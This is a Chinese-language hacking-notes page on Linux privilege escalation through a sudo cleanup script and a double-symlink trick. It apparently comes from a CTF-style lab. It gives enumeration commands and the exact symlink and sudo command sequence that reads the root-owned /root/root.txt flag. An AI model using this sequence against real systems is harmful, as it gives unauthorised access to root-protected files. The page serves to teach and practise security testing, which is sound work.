> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-double-symlink-linux-privilege-escalation.md).
# Sudo 双重符号链接 - Linux 权限提升
## 这是什么
Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **Sudo（双重符号链接）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
sudo -l
sudo --version
```
## 示例
### SUDO - Clean/\_synLink.sh
我们正在寻找一个允许权限提升的漏洞。我们发现了一个具有 SUID 权限的文件。
#### **符号链接清理脚本分析**
> 我们分析一个名为 `clean_symlink.sh`的脚本，它检查作为参数提供的文件是否是一个指向 `.png` 文件的符号链接。如果符号链接指向一个关键文件，脚本会将其删除。否则，它会将该符号链接移动到 `/var/quarantined/` 目录中。如果环境变量 `CHECK_CONTENT` 被设置为 `true`，脚本会尝试读取该文件的内容。
以下是创建操作所需符号链接的命令：
```bash
ln -s /root/root.txt flag.txt
ln -s /home/bob/flag.txt flag.png
```
然后我们使用以下命令运行脚本以获取 root flag：
```bash
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png
```
因此我们获得了 flag `root.txt`.
---
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